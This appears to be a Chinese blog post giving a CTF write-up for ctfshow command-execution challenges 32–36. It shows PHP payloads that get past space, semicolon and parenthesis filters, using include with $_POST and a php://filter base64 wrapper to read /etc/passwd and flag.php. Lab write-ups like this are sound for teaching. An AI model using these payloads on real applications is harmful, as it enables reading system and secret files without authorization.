您当前的位置: 首页 > 

yu22x

暂无认证

  • 2浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow web入门 命令执行部分(32-36)

yu22x 发布时间:2020-09-05 17:38:32 ,浏览量:2

32

这个题过滤了空格属实有点难受,php中不用括号的有echo include等 过滤了分号可以用?>绕过。 尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤$,我们可以用$_POST[1]呀include"\$_POST[1]"?>然后post传参1=/etc/passwd执行成功。还有一个问题include包含php文件不会在页面显示出来,灵机一动,伪协议呀!完美 在这里插入图片描述

33

payload

?c=include$_POST[1]?>
 1=php://filter/read=convert.base64-encode/resource=flag.php
 

payload:

34,35

同33

36

将1改为a即可

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0435s